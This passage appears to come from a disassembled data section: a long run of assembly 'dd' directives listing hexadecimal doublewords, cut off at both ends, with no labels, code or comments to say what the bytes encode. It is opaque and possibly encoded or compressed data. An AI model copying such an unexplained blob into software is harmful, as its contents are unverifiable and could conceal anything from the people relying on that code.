1C3312E6h, 829484D3h, 0BCD240F9h dd 5D32311Eh, 6C08BFCAh, 5750C600h, 0DB41F3h, 20F8B8EDh dd 0E4932C8Dh, 4267E0B6h, 549C4DE0h, 32C007E2h, 755A9E62h dd 76DB0133h, 7077ACA3h, 0A1007167h, 2B40A7DEh, 0EA74DA49h dd 13EC00DFh, 4E8B2C55h, 1C2E7B62h, 5C021319h, 0C077E9D2h dd 0DDDEE4h, 0B753BC81h, 0A8FEA68h, 7264F00h, 0C6063ACh dd 0EC940425h, 0C01D9E1Ah, 0B502F4F3h, 0F37C5F09h, 0B2A200F9h dd 2455FA7Bh, 420C654Ah, 0ACC0C754h, 6F07D087h, 6888BF01h dd 4E2C42h, 0CD7AD253h, 13061400h, 0E7CA3AF6h, 4FD80125h dd 0ABA8FE6h, 0F187C0FDh, 181EA330h, 2A160D47h, 0A4445Dh dd 0C7D52361h, 4938D6FCh, 8C0CE33h, 9B210056h, 1D41D52Bh dd 9F00E002h, 25431311h, 6C114h, 0FA49C42Fh, 8AFF20A0h dd 4C704E60h, 0DE0D42E7h, 0C05AD0D0h, 872F7ADCh, 2A448CD8h dd 7A2B0F52h, 0A8A0049Fh, 3950BA3Ch, 90D0054Bh, 19C14FAh dd 0F35E8EBCh, 3BCEE623h, 0F0F56E0h, 8904D3DAh, 0DF41B9B8h dd 63BD4E9h, 0EA2D11C0h, 6F897A4h, 80BDE9E3h, 75500853h dd 0A406E230h, 0A929431h, 0EDDE00BEh, 6C06C013h, 1B6C342Bh dd 8CD85860h, 0A3A41E02h, 19E883F8h, 163B1068h, 0AF9200A4h dd 46E69F2Bh, 0CA058404h, 756DD648h, 4323A403h, 50B1C14Eh dd 0EC81089h, 0FDE76980h, 7000C592h, 104A4314h, 5EE2C3C6h dd 45ECC067h, 6B003419h, 8B7866A3h, 0B5D0ABh, 95CB9AA8h dd 0FDEDD761h, 916CC901h, 0E275DE34h, 0DAFBD4h, 30AC51A9h dd 0F8C9BED3h, 53281F03h, 0F8A3DC92h, 1FBC6529h, 4F214Bh dd 9DDB91E5h, 2CF42D54h, 0AEF3D901h, 24FA1893h, 12E899F3h dd 40E229FDh, 6A44C0h, 8DC1B175h, 55662013h, 174F9500h dd 0AA9C781Ch, 650800B2h, 7483F335h, 2F005BB6h, 25DA21D1h dd 5182E0h, 1A6BA017h, 420FE2D2h, 24D5031Dh, 5599FFC0h dd 3B31441Eh, 5180F6E4h, 0D6677788h, 7B00967Ah, 914CCD53h dd 7C0D9E7Eh, 3302E33h, 1E7D124Bh, 563B3E08h, 93AD7780h dd 79C70D38h, 0AFB2DB00h, 0ED36BC97h, 0F608E27Eh, 105F0060h dd 2B17BBA8h, 1100E91Bh, 440BFD95h, 42905Ah, 923C2533h dd 0F30DCDF4h, 676A3A00h, 227EF0FBh, 76C71BE0h, 0DAD82024h dd 0D81C3DA6h, 6B40D6C4h, 1ECE8280h, 0AD783F6Fh, 0DB2ED038h dd 0FF1D9Ch, 0F1D5F424h, 1A5C755Ah, 0D7D86097h, 2EC1B46h dd 7301A77Dh, 0EC801DA0h, 85229ACEh, 0AD10A900h, 0BEDA6A04h dd 5CFD01E6h, 5BE5EB38h, 0F4C07E3Eh, 97513Fh, 5D0BE25h dd 5CF331A1h, 0C3AB662Ch, 74B27F00h, 7237FF8Ch, 8921CF4h dd 9F2681h, 9720F1Ch, 4B0ED97Ch, 2094C87Dh, 5AB38C1Eh dd 865E17B7h, 808D1CDDh, 0F0BB1CE2h, 9300A1B5h, 327B4520h dd 433004h, 1B2E470Bh, 71DCF2C6h, 9A0EB800h, 2334D1E1h dd 4E80089h, 0FDD4306Eh, 0FAEAD017h, 0DF4D4200h, 18E01FF5h dd 536303E6h, 90DCEEC1h, 236D81Ch, 0E0FDAC0h, 9F3FC24h dd 6F42EB6Ch, 0F9B705h, 1AE721F2h, 0CC00FFF1h, 93F8DE1Eh dd 0FC34505h, 44C547F9h, 0C446CA01h, 0F4C6E110h, 0DB00096Eh dd 0FF3FEB96h, 1C0E78B0h, 47EC4C20h, 569D49Dh, 84940F32h dd 0FCBB97E0h, 2C000B83h, 0C4A1F016h, 4E329Dh, 34BD1B5Ah dd 63252AB9h, 9A16767Dh, 0AFCD8Bh, 9FEB6225h, 0D975BEB6h dd 0FA50E600h, 5304B1EDh, 80FC48A1h, 188A5450h, 0C81DC270h dd 3288EE85h, 4093DFCh, 830180BAh, 175E133h, 0B2B45042h dd 8E00F587h, 0A434C625h, 0B1F652h, 33490CCCh, 4F5F9693h dd 0E82B4100h, 0B97816E9h, 3B240079h, 0DA563E94h, 0F016B8CAh dd 6002388h, 0C4B63C15h, 0A33A03F9h, 0C0962675h, 69A19DB8h dd 8B51870Eh, 0D08AA01Ch, 3B406C4Bh, 16809FB9h, 0CF271261h dd 28128FC7h, 0AC003267h, 0CB37D33Dh, 0ECF23BC3h, 0D8CE5218h dd 2900CD75h, 0F0FE5D6Eh, 0B3B2FAh, 0E0AEAFD5h, 98B7A459h dd 0F9E5A70Fh, 13893Ch, 71B342D0h, 7CFC02A9h, 8AFA6150h dd 0CD00D3C2h, 2F4A7D18h, 47DBEA01h, 6A82CF19h, 0FF3330h dd 37A375B5h, 0AB341678h, 0CBBBEE00h, 0AE6B69ECh, 54410065h dd 8E50EAA7h, 0D5009E76h, 0B7B64C7Fh, 1E13BE05h, 0CFFAD736h dd 10205AB2h, 0DF014B9Fh, 0F12DD80Fh, 5CBD4079h, 0C5871Dh dd 0F661C2Bh, 7D172FBBh, 42581400h, 0CAF3533Bh, 5ED20C82h dd 0FC382E62h, 8C5DBC00h, 3FAE20B6h, 47CE4ABh, 0D0121B38h dd 15FEC07Dh, 0C1031C5Bh dd 30AB2BB2h, 0CD7E469h, 64B52300h, 74F57A60h, 20CB09B4h dd 288033A5h, 0B88130E1h, 0EF07F890h, 6EE05967h, 0F4C3BF50h dd 50DA0007h, 3F89BA2h, 802AF15h, 97EC1FBCh, 7FD080D3h dd 560293h, 8B763575h, 0A9237798h, 487848h, 382A8288h dd 0A684F69h, 0A406C3B5h, 902D00F8h, 0AACA4831h, 0A8F310C0h dd 1735055h, 0DB296FC5h, 0FE6C98DDh, 0A30EF880h, 554D8F8Eh dd 12D807A4h, 42E003D6h, 6D5196Ch, 0DACB9C9Ah, 4F0E309Dh dd 0E03AA895h, 84A6C8E3h, 8E2D0E4Ch, 1837E87Ah, 64BB2975h dd 183AF67Eh, 7F332E43h, 0F2A6A300h, 0CFE296h, 6FE6593Fh dd 0DF8B7C2Eh, 0FE17D501h, 0AE8FF0FAh, 0BCB468DEh, 64C749DEh dd 15B2840Fh, 3702806Bh, 5E4073EBh, 0D654F1C5h, 2842F8C8h dd 6722A100h, 595732CBh, 0C84D1E05h, 0BC809A10h, 38A85804h dd 0C280D8DAh, 59B1A278h, 65009DADh, 5D28E180h, 90B60715h dd 0AC373ECBh, 0C07C5B1Eh, 0B42B9438h, 4570B0C2h, 92ECD901h dd 0B480DAEh, 603398D0h, 855DA3Dh, 0CA02BAACh, 3980418Fh dd 0CC8C40AFh, 0C085F0ADh, 4D1F0A10h, 0ED009EA1h, 8B20B2A2h dd 0B49B23h, 0B885428Ah, 698D3959h, 1C91F81Eh, 0E2892F83h dd 22511C29h, 483CC0A6h, 0A9504BEDh, 0D2349300h, 0B267568Bh dd 0C1080010h, 2A2053FBh, 50016C2h, 0AB3CDDE5h, 0FDB0457h dd 51118BD5h, 0F815BCC0h, 8A0099A3h, 0EAE33ECCh, 488C5503h dd 0C600C85Eh, 0C02A9C4Ch, 853F9A7Ch, 20076D3h, 5DEF9836h dd 69663Eh, 0E454F5DAh, 0B651583Fh, 0C4263D01h, 8D96F01Dh dd 0EC7CF8h, 9277F814h, 3C8B6866h, 15CA1100h, 0B91D277Ah dd 6F071296h, 20B400BBh, 9E4CFE72h, 0D89F903h, 0D0D07EDBh dd 94C484h, 0CBFBC20Fh, 10D5B13Ah, 6B156707h, 33F02AA6h dd 467470h, 0BAF703E4h, 13452421h, 0F438FE00h, 3B157608h dd 0D89C008Ch, 1EFD12BCh, 0FB007EE1h, 3AAFE255h, 0FEDECC82h dd 14EA09ECh, 4480802Dh, 8BD670C4h, 8EC1F600h, 55C684A1h dd 249F006Fh, 6BD07842h, 0D900A389h, 0D42E4AAEh, 4323E7h dd 0B27A18FAh, 11C42F02h, 0F204DC0Ah, 2C00F82Eh, 8F7E15AAh dd 0FCDB05D0h, 0C0692B9Ch, 0A0C8784Dh, 1938D700h, 958E56E3h dd 97CF0FB7h, 0FD209E21h, 26B0127Fh, 0FE3D7E00h, 2CA8ED13h dd 0DA451F71h, 61D0015h, 0FBA3ADF7h, 11316500h, 0F25C61BBh dd 34200088h, 7D677401h, 3B129373h, 0EAC4B3h, 0FF2C9538h dd 260265F0h, 351F510Eh, 881CC174h, 0E6E0BC8h, 2748B801h dd 5F568520h, 0DE008EDAh, 0F9BF2D3Eh, 0CC8146h, 73FB7834h dd 3A624A52h, 0BDDE7E00h, 1059E455h, 0F46A13D4h, 5D1C00E9h dd 0D36BD531h, 0EAE7B30Ah, 90021057h, 4856EF4Fh, 6EEF130h dd 0D216F38Ch, 0E8099075h, 871BF0B7h, 90939F00h, 0E937C0DAh dd 0F6340A36h, 0A10C653h, 1CEE57h, 82D71551h, 49F46566h dd 0D8F4E8E8h, 0C05310A0h, 6939F160h, 3DD1F232h, 360B453Bh dd 0B700DCB5h, 0BF1C6CA6h, 5DDAE814h, 0DE5500A2h, 0C29296BEh dd 34C003Ch, 0FD4534EFh, 0A5000EB0h, 8F8A4B48h, 646B9Bh dd 5FB1982Ch, 1D718474h, 47893700h, 0CA6E14DBh, 0DD90FE9h dd 5FC557h, 0B5D0F5Bh, 8CF6D388h, 7B0044F4h, 30F274A8h dd 0C0DB4B84h, 332FC418h, 0F004806h, 0CA40634Ch, 0CB89ACh dd 1EDFAE17h, 904426EEh, 4554BA00h, 6299EB0Ah, 853000FFh dd 9E93F47Ah, 0AD05C85Ch, 71FCD66Fh, 0F0266083h, 647B8Bh dd 6647F27Dh, 0D8FE90DCh, 0A2BCA503h, 0FBBAE839h, 67890044h dd 0FFE9F1C8h, 880E135Bh, 861493CAh, 20DAB3h, 97F23108h dd 442419Dh, 2652B700h, 5E46C24Dh, 0EE0B0099h, 7303068Eh dd 880CA274h, 18872A6Eh, 68EC60A5h, 71C716FCh, 790210A0h dd 0DB902082h, 0D303ADh, 4AC50422h, 6E7AE392h, 0E826AF01h dd 9A8E7D8Dh, 70030BDh, 0A271C39Bh, 0AA7E5D90h, 111218C0h dd 68B5DF96h, 30C7508Bh, 3F782E8h, 0FC787460h, 0A581C2Fh dd 0C2F6F03Fh, 8DBF00E5h, 2E2A109Eh, 0D76C5100h, 0AC8BED1Ch dd 364A0FA0h, 0C73FCBA7h, 0C0C388C1h, 2F8CB15Dh, 0F775E500h dd 427EB00Ch, 0B67A80h, 4CB53502h, 0A7933F1Bh, 80A57138h dd 58D30BC4h, 5764A6h, 39AA749Ah, 8BEF92CBh, 0E6655900h dd 7A9DE3C9h, 0F84B98CCh, 0C58D00A6h, 0DE141AA0h, 0DC004DF6h dd 0A769C366h, 77892Dh, 6C4596BBh, 73CF8602h, 0B1D4FE00h dd 637B6CEh, 3328005Ah, 2FC2ABAFh, 9E00F011h, 0BB924B5Dh dd 0F2E2172Dh, 9344003Fh, 0F516F84Eh, 5C033691h, 0C746D308h dd 0A2DBB8A4h, 899F0074h, 0C0BC5B1Bh, 0EB00F7D4h, 84414D9Ah dd 81270Bh, 0E53C9FD1h, 7E0CFFEh, 2609D00h, 0C5C36DD3h dd 0DEF83Ah, 0D214E926h, 606CB330h, 6878250Fh, 0A40053F6h dd 7DF3C2BEh, 29BA0177h, 0C3465B42h, 11B3DCA1h, 732EF800h dd 0ECAAACC4h, 0F4AD00E6h, 0D40B6076h, 0D300BC39h, 552C928Dh dd 3815EAh, 80A6190Ah, 0F19E72DEh, 18EF411Fh, 39A8EBC0h dd 1CC774E2h, 0C0E4D893h, 6157DCA9h, 66026EB9h, 3CEC3EB1h dd 0C8364309h, 16C0F53h, 0A93F47E0h, 0FC662789h, 783FEBC0h dd 80D23AE6h, 0B1ED5E2Dh, 39649426h, 0E7A68D6Ch, 1E3802F4h dd 93C052A6h, 1502112Ah, 6DA54BDDh, 4DCC8029h, 7A9F8DFCh dd 0C3101BFh, 16DFA2C8h, 155820C0h, 0ED45C600h, 27DAEEAh dd 6E0D00FAh, 0A2330F91h, 0D5306D46h, 8122482Eh, 0B89B3C1Dh dd 0D4702A00h, 5DF6AA3Eh, 61DCC301h, 0DF3D9A33h, 987B06DCh dd 50C9003Ah, 0D32B2E64h, 6B144025h, 75D0E8FBh, 0BCBA93Ah dd 80F99AD8h, 0EAE53F87h, 47F12CEh, 1464008Dh, 0C71E08FEh dd 5BD93800h, 4DB4B73Dh, 0C83F0088h, 52A5E086h, 2104D81Fh dd 0F5BC1770h, 48433890h, 0A7677h, 0A265A40Dh, 24BD71E4h dd 4C501802h, 40E9229Dh, 1D54A3B7h, 403BF449h, 0E436065Ch dd 0B10089DBh, 0ED8B263h, 0ABFBC6Ah, 0A8FB6D40h, 0DCF78084h dd 1EF8EB69h, 4C000274h, 0CE3138F4h, 14CA6276h, 0B0173F0Ah dd 0D83B3701h, 0C05F8CCBh, 0B53F067Eh, 49FF803Ah, 634BBF0Bh dd 5738008Ah, 0B146B6C0h, 2E0AE614h, 0BC22BA71h, 0E26FB307h dd 5D0733F0h, 6C082C62h, 8B3400FCh, 0EAF4FA9Dh, 374E4024h dd 807F5902h, 394C4053h, 3EDC7A91h, 4130F397h, 98D9E390h dd 3600BCE8h, 992E7750h, 9EC923h, 24B1B03h, 0B4B00E65h dd 65A0FB5Eh, 0E4CA0796h, 50FA3CE9h, 0D4046611h, 0D097382Ch dd 8F8C7900h, 483C0E4h, 65B61230h, 0EC58804Bh, 0E70D9E3Eh dd 903B2EC7h, 5971D20h, 0F78E9557h, 83C1C4D5h, 0F000ABA6h dd 3D3E7EF1h, 3E868891h, 1C981501h, 7FB478C5h, 21B99412h dd 657A444Fh, 0E030D5A3h, 0EC3591h, 0B9BBC408h, 385FCD93h dd 811A8839h, 3AC21B6Fh, 7CFC7216h, 9C420084h, 508FC459h dd 5E07D02Fh, 3238DB0Bh, 8BFE72F0h, 34A80030h, 0C2AEFAA9h dd 12075C08h, 803A1329h, 0CE8A3900h, 48BF0350h, 0EBEDFC85h dd 50DEA083h, 0EE312410h, 77C7390Eh, 6ED89ACCh, 0DC00E0FCh dd 12F2306Ah, 182B540Dh, 19436C90h, 6E0034E8h, 0BB0BEA76h dd 39DEDD7Bh, 5C1E063Dh, 82BE00BAh, 114C2D7h, 6DD27000h dd 8F93A417h, 0C3C801DAh, 0FF854054h, 670CD05Ch, 0B2EE38h dd 6DB559F4h, 0EB471Bh, 1D496A65h, 845DC3D6h, 6F085Ch dd 0CA932430h, 0F6ADF85h, 0BFA0C7A6h, 3C256D80h, 0E50033C4h dd 2003C99Ch, 3FA31FDAh dd 1E00C6FBh, 4091467Dh, 600E995h, 58FFDFF1h, 1D2DAB36h dd 40251F21h, 40C3FF4h, 90C0B015h, 2761B8AAh, 37DA093Bh dd 95001C5Bh, 0D55D9313h, 0B7008898h, 593DFB3Ch, 904AE3B9h dd 5AB10ED0h, 9EC02A0Bh, 8B6780EDh, 0EB351D00h, 0AFE60A9Dh dd 86F500C1h, 75437FDFh, 8B1CDE54h, 0BC002AAAh, 70DBCE2Bh dd 114A004Bh, 0C8433A5h, 0AC00B587h, 0DD66F3B7h, 0D7C841h dd 6822EF1Dh, 0C2B8DB60h, 0C3CDE303h, 0B195DD09h, 0E3712439h dd 0D4CBC8h, 9B0EF769h, 0E6861FD1h, 966C741Fh, 0FE2D5DC0h dd 18D973Ah, 0B0826D94h, 0C1044389h, 0B93BFC5Fh, 91A7600Ch dd 82284Bh, 68B6DB52h, 2F30D176h, 7773C100h, 8B4934F6h dd 71FC1Eh, 78C3A30Dh, 1F8A9106h, 93891A00h, 15E28827h dd 65080029h, 4EB18BE8h, 73008C96h, 114CBAABh, 3FDA2730h dd 0A380EA9Ch, 0F86F81E7h, 0AA00642Ah, 8AA4ACA6h, 0E6EE8h dd 0EBB04B55h, 0F0E67F88h, 3D8BE707h, 6E602DAFh, 2DF56FDh dd 52072744h, 760B7D8h, 0BB002B3Fh, 4D97018Dh, 53D04Ch dd 86165849h, 839298D6h, 4266B100h, 7A07E438h, 360B00D7h dd 0BB8843A2h, 0C77AB80Ah, 923E2C07h, 0A7F39717h, 0C0F18B31h dd 5089D0h, 190C3525h, 90FF74EBh, 4A3FFAE0h, 0E50F0399h dd 0D8DD497Ch, 0E454712h, 5B1229Fh, 17CB7D80h, 0EB00F4E5h dd 47D19D0Fh, 56E21Bh, 7FB099CEh, 0B36D197Ah, 1C55D402h dd 0E07CEEADh, 447301h, 1939C74Dh, 8EE07074h, 3208FA48h dd 40CE4ADBh, 71CD7F20h, 4AD5039Bh, 0CB55E31Ch, 4ED9F7F0h dd 58012079h, 0DBF99CC8h, 10401648h, 0A4DD662h, 0C95B791Dh dd 4FDD00B3h, 0A75DD8DAh, 328E3707h, 0B880DBC6h, 0DF87BFh dd 51316CBCh, 0FCA13FD5h, 0FD5989C5h, 0DE191400h, 741894DCh dd 0CD801846h, 0E617181Fh, 3B00A9F8h, 73B5BE06h, 3D91915h dd 0A10D0CC0h, 63B89D40h, 9F009853h, 0C6CAB25Dh, 0F4266C97h dd 60A60EECh, 0C9C1BC3Fh, 8040A9EDh, 0B88EA60h, 0F8167F8h dd 9B865943h, 620882E1h, 32399515h, 0F57B8058h, 0ED75CC6h dd 0ACC76F9Ch, 79C95080h, 0D640FF35h, 18621BC2h, 5FC030BCh dd 6400379Fh, 0C14809FDh, 2CBF7h, 70B506Ch, 0E0C5A36Bh dd 0E2003D7Ch, 6740B827h, 1DF1375h, 0FA1615A5h, 0CC5A528Ah dd 1F00F8C1h, 8B784EC5h, 8E4CAFh, 0C7AB6DA2h, 0A6ADD121h dd 9577400Bh, 7F72F0D2h, 79941C99h, 5F00BE9Dh, 72547DE5h dd 1C0088AAh, 0B248996Eh, 9EAAC3Dh, 94CB6391h, 27162178h dd 0BA1C7D1Dh, 0E3B371C0h, 388A7BFh, 3656D064h, 0E9013A6h dd 4900FBE8h, 5ED65C2Eh, 0D50F48h, 45AD4186h, 0BCA01B38h dd 0AC58AA01h, 0FCE754D9h, 0A6A61ECh, 0DD63FD8Eh, 4E240098h dd 0A4A9BD58h, 2154AD00h, 97AF2634h, 61DF0053h, 7AC72DF6h dd 9800CE67h, 71AB4CDAh, 630572h, 0FF580668h, 2ECF80E5h dd 0B989A90Bh, 9B78E24h, 607D0E52h, 0D7EFF6ACh, 0B7B80914h dd 0BC83664Eh, 50C86857h, 0FC797C01h, 0E58F5100h, 649D41DCh dd 20C01E56h, 964200E2h, 0A13BEA65h, 0CFC8D600h, 36A6CD87h dd 1F137BE8h, 0C0E6820Bh, 0BE4A44F0h, 5007566Ah, 4884E41Fh dd 781CC7D0h, 6DC20053h, 0A3DF59BFh, 0EF04C34Eh, 0E13ECAC4h dd 3CA380EAh, 0A739ED2Ah, 0CB098E7Eh, 0D522004Dh, 4CF19273h dd 0D600AD0Bh, 0E4B3EF79h, 49002B7Bh, 0EA6F1D88h, 638F1F60h dd 9622104Ah, 5B21E960h, 1797DF7Eh, 0EF165D6h, 3BE9E2D2h dd 2615025h, 0C44C3390h, 0FB0448C8h, 3973E0Fh, 280076EBh dd 43F218B7h, 5D8B793h, 0D0122628h, 0CD2E5600h, 0A44250F8h dd 0ECD00EEBh, 0B2A077B5h, 3AC8FDC6h, 0F0C06624h, 1E84A286h dd 78DF001Ah, 2C67E455h, 0D10290C4h, 3E1443AAh, 0A5044008h dd 104719AEh, 0DCF91046h, 4C0ED98Ah, 2B5A8F94h, 5D9005DEh dd 4A87EC1Dh, 7150EF64h, 0F8307E92h, 95DB0059h, 0F85C9A38h dd 7A626E61h, 63D426C8h, 66388B4h, 86A20014h, 668FDC3Ah dd 103B3D0Dh, 9D5804Eh, 624B1785h, 24D2003Bh, 45CE3A41h dd 0C6E87BC0h, 7A2A7400h, 0B1477E3h, 2EB00710h, 50D142FCh dd 6D36856Eh, 65D00400h, 68938F19h, 0C98E1416h, 8D169041h dd 0CACC468Bh, 43487867h, 80193F97h, 0C9FAC5B3h, 933EC3h dd 734CA924h, 65177872h, 80F8F93Eh, 0F7F19C52h, 10AFF83h dd 0D46AB38Ch, 0E85DED77h, 0D80E086Fh, 60B6848Ah, 21BF4FEBh dd 586D02E5h, 652ED906h, 9AB8D460h, 6CE0842Ch, 0B40F1F26h dd 3BC6201Ah, 0FA461BE7h, 0C39D006Eh, 0DD22EB64h, 7048C12Eh dd 0EADA0F10h, 0A82180FFh, 313318h, 0BF0BDF60h, 0DCB63D43h dd 65783Ch, 811E837Fh, 0ECEF6BB7h, 6BC92F3h, 74833A7h dd 0D2281177h, 3800948Dh, 0CC17BEF4h, 0FEF1F79Bh, 33EF03EEh dd 26643B7Fh, 0C2BF998h, 0D939BF13h, 0A750C840h, 7FCB6AD6h dd 224B166Ch, 98EC40C3h, 6F752C3Bh, 746DBD1Dh, 297FD74Ch dd 0C04C4839h, 0C0D12300h, 17B50962h, 0BF002974h, 0AA774A12h dd 84EC89h, 2558800Fh, 8792902Ah, 0B465E607h, 0BDD00669h dd 7ADA0A1h, 5FA38FAAh, 0F67361D7h, 8018CDB9h, 6BC3D221h dd 0E41AF8Eh, 0D32A5016h, 0D09645A0h, 0E2005746h, 0FEB47AEAh dd 0EF33A2h, 0BCDA4FAh, 0CB99583Eh, 0D5C7201h, 4890407Ch dd 2E57FCh, 0CF3AE8DFh, 0C5A7A03Eh, 0F164D300h, 9DDB0D3Ch dd 0E1943AFDh, 37F7D180h, 90EBA16Bh, 80A5CA3Fh, 625510EAh dd 1EFF46FCh, 0C37FE7h, 0B1A2D642h, 2D01EFDAh, 0B8BA53Bh dd 0B448D2F3h, 53BE0081h, 1B708D91h, 0E60086FFh, 13A4DDFEh dd 0B87B24ACh, 1DCEEF4h, 5FF02A67h, 307040CFh, 0CC015A4Ch dd 0D10499E7h, 9850A5BFh, 3B82B0D9h, 0FB803507h, 1C408B9Eh dd 95033AFEh, 397883C3h, 0CD51C80Dh, 15600025h, 94AD110Ch dd 300F9086h, 80F12C12h, 0D409C151h, 3ED20042h, 536D7B73h dd 8219C9B4h, 0AE9865FEh, 0E6F4C821h, 92D8C25Fh, 0C100D81Ch dd 49557BFh, 0BC86D191h, 5478D025h, 0A6003809h, 52D081BBh dd 7B6C6403h, 3F5FC73h, 769BF860h, 0FCE08F99h, 39CEBA6Dh dd 0BD3820B2h, 90421588h, 395E60B6h, 285CBA2Fh, 17AA2D00h dd 0F54F114Ah, 605313D3h, 0AD9000C3h, 4DD45889h, 4BD07E00h dd 0FE8AD546h, 3361218h, 0AB64018Eh, 706A056Bh, 0A6039FF0h dd 5DADB3D6h, 84F5C945h, 0F73FE8h, 7885F964h, 0CFF4A1BFh dd 2D259D09h, 283480E7h, 0FF8CFDh, 0F505D63Ah, 3912107Ch dd 972B5705h, 9EC0DED7h, 5167B50h, 7285C004h, 12CC1331h dd 86EA0C4Ch, 0FF1F3E58h, 89C7C404h, 1DA3FB21h, 5963E0E5h dd 981776C3h, 0B7270067h, 9994080Bh, 7E03F68Ah, 341FF9E6h dd 0E8494043h, 0F65B097h, 0A89151ADh, 293F19A0h, 660039E9h dd 0F20B36ECh, 4C8974ACh, 9413826Dh, 91C0080h, 5E2B3E6Ch dd 73E36900h, 1EB099D2h, 27350084h, 43D48CB2h, 8179E179h dd 80EA4B38h, 0B4422044h, 0EA7557BDh, 0F2EA23h, 51F608A6h dd 8B366DF9h, 297CD800h, 0A3AFD39h, 0DB5401E9h, 0FC9A1C5Ch dd 0EF66E0C5h, 0E8681E00h, 69B6850Ch, 0D38E0338h, 0E1A4BE8Fh dd 73ACABB0h, 0E8132600h, 2D59BA1Dh, 41AA002Ah, 0D67DED9Fh dd 0E0062F5h, 79B9939Dh, 37111Ah, 29049AF7h, 0F01D09C7h dd 0CE526300h, 2085DFF8h, 8C5E48AEh, 5314A800h, 90623F18h dd 0DF13B512h, 913C6840h, 0AD51F3h, 7F02F2EFh, 98857078h dd 4F0F900h, 81741D13h dd 0EDF801F7h, 6E1A82D9h, 18104387h, 28473C0h, 0BBEE9B00h dd 3FD65131h, 448094A0h, 9CCF00FEh, 3FDC361Eh, 599218AAh dd 3FE491FAh, 4F1840E4h, 2F3DA6CCh, 2B747451h, 0D7C3D818h dd 127360B1h, 83D619BCh, 0A9A0EEFCh, 6C00E90Ch, 71CAC5A3h dd 28367F63h, 1030FC59h, 6F13C3Ah, 409CDCCAh, 1B8BA40h dd 10C95393h, 0DB43865Dh, 1D00B4E4h, 5A0560D3h, 1801FDFAh dd 4FD6023Bh, 532F288Ch, 51092EA8h, 649D3FD9h, 20F94354h dd 5FA3Eh, 39C1EDFCh, 0B248FDBEh, 5E6D2E1Fh, 9CF9FBCFh dd 3F43DDh, 0ECE03A3Bh, 0B047282Ch, 0CA50E35h, 8180376Bh dd 0B09022A7h, 0ED00057Eh, 202B56DCh, 1C659458h, 408013E5h dd 3C3515A1h, 731DE9C6h, 0F100617Fh, 0AD5E3949h, 408F0766h dd 0D0554B3Eh, 0BA92774Dh, 8ADA381Ch, 0A2B9C518h, 8E3B0A19h dd 0C982618h, 0AA08163Fh, 318021C0h, 0C39513Bh, 65576FD6h dd 6D005E66h, 0A469DB2Bh, 0F0BABCEFh, 915500C9h, 7EFE1672h dd 702A30C3h, 9800A8BBh, 5D639F6Eh, 1DFC366Fh, 18378635h dd 567B21D4h, 0BAE79F00h, 90042C5Bh, 0A2E10063h, 0BBFC405Ah dd 5E76DA7Ch, 0DD86BA09h, 0DB2880C0h, 2A4FB8F2h, 0C8FBE2h dd 19068D38h, 0D7A7A451h, 87C5933h, 99213AA5h, 94440680h dd 0DD397277h, 427B670Eh, 2113A057h, 3C57CA4h, 93857D9Ch dd 3903FE17h, 10C9BD8h, 0C8200489h, 19AB925h, 0D095F3F7h dd 5944188Fh, 7D323198h, 7EC9681Eh, 0E3C06E06h, 53B0C8B8h dd 150691C0h, 22844651h, 0A9BD00A2h, 511F7106h, 350CAAE9h dd 48931E96h, 946E18C1h, 0F85358D4h, 6007BD0Fh, 7D96206Fh dd 3A1D31h, 0EFACA75h, 7B8E3CCh, 0A9508300h, 0D131388Ch dd 326C1E15h, 0FB00FBCBh, 6D694D4Fh, 910094B8h, 845960CEh dd 7D21F01h, 4CF03F31h, 1B0860EEh, 890FF5DBh, 0AB56360Eh dd 0DCC583B1h, 0A19FD999h, 359BDECh, 9E5E6174h, 0A6C87B71h dd 1A006914h, 0C33DB9AFh, 59DFBF7h, 4533AD52h, 6688803Fh dd 9C764735h, 46035B07h, 85F2628Bh, 0F9D4E3A5h, 47D4114Eh dd 72420016h, 4C5B8E26h, 2501F50Eh, 2AC3E3CBh, 44BE49Bh dd 0A782330Fh, 2C7B8A83h, 6D0A1900h, 6F83B0FBh, 0AA5F1998h dd 8017087Fh, 0FB85EC21h, 35032h, 92756E2Eh, 69BD3065h dd 23307673h, 0CF676199h, 38F57664h, 2BD4756h, 9B009FB8h dd 52AC6169h, 0F1616099h, 8B130F30h, 0B86AE0C4h, 2D5F00A0h dd 0AF453D9Bh, 0C4007895h, 3A763297h, 3E799C0h, 3B73D518h dd 77C81F4Dh, 8F0A2AC4h, 20FD93CFh, 8C26A578h, 0FDC25205h dd 8840BA23h, 706DB0C4h, 0EA6063Dh, 89E64BFh, 7B21C760h dd 14146D97h, 1CFAC251h, 7382AB8Fh, 0C2319E3Dh, 6D93A410h dd 0D4EFF707h, 8B9068FEh, 0C293EF8h, 0BE7FE6B1h, 519040F8h dd 1101760h, 54DC8C2Ah, 0A3D8C8h, 0E286D8A9h, 4AB7DF36h dd 7208EE66h, 4E400E8h, 0AA4BD8D1h, 5800E846h, 3A0B8520h dd 36C42D91h, 58493C37h, 0A8028946h, 0DEE285D8h, 5106F31h dd 5B06D8D0h, 8FD285FEh, 0FB9C81D1h, 6D08B218h, 0C4963D6Eh dd 9AA540C0h, 3FF63A6Dh, 2C808A89h, 79EC2742h, 0C0044FE0h dd 77B15CE6h, 0A09D1C93h, 0C0982299h, 8881BB11h, 0BFE63ED7h dd 77162E0Eh, 23CC89BEh, 0E88A5570h, 78EA598Eh, 5D420070h dd 3399EEBCh, 540C19CBh, 586AB80Fh, 82048C98h, 803ED488h dd 5820B362h, 3A45888Bh, 118289D4h, 161D213Eh, 6778D082h dd 2DC105DFh, 0EA51E040h, 9FA097Ch, 37B8B88h, 8022B410h dd 675F7A00h, 7044495Eh, 0A8AD03DBh, 2F8138D9h, 83044003h dd 2A54C32h, 97E084B8h, 9840B30Ah, 57E53DC4h, 0DAEFC1D8h dd 761880CBh, 57C1A65Ch, 805B2856h, 0B7160F38h, 0F527ABFh dd 8989A46Fh, 0FB72F030h, 0A783AD10h, 0FB8AFFE0h, 4B59DC00h dd 0DF29EA04h, 2D4430B6h, 0E40A021h, 1EEE8B0Ch, 44288CEh dd 5C313B39h, 88308EBEh, 79ABC056h, 3D284282h, 948080B9h dd 0CF04E95Ch, 0B41E7D8Ch, 40D62492h, 3DF4D3BDh, 0A801F837h dd 3C66343Dh, 20322059h, 1EBFE10Ah, 35889C96h, 0F05C80C7h dd 0DF262505h, 85835A03h, 24B91EBEh, 11688828h, 6DAC80D1h dd 8C063D74h, 907FC844h, 151BE6E8h, 0BC95825Bh, 0FB008B3Bh dd 22D4AB71h, 2492AF23h, 6859E900h, 0F91BE79Eh, 68B00DFh dd 0D8E6AA46h, 0B600E88Ah, 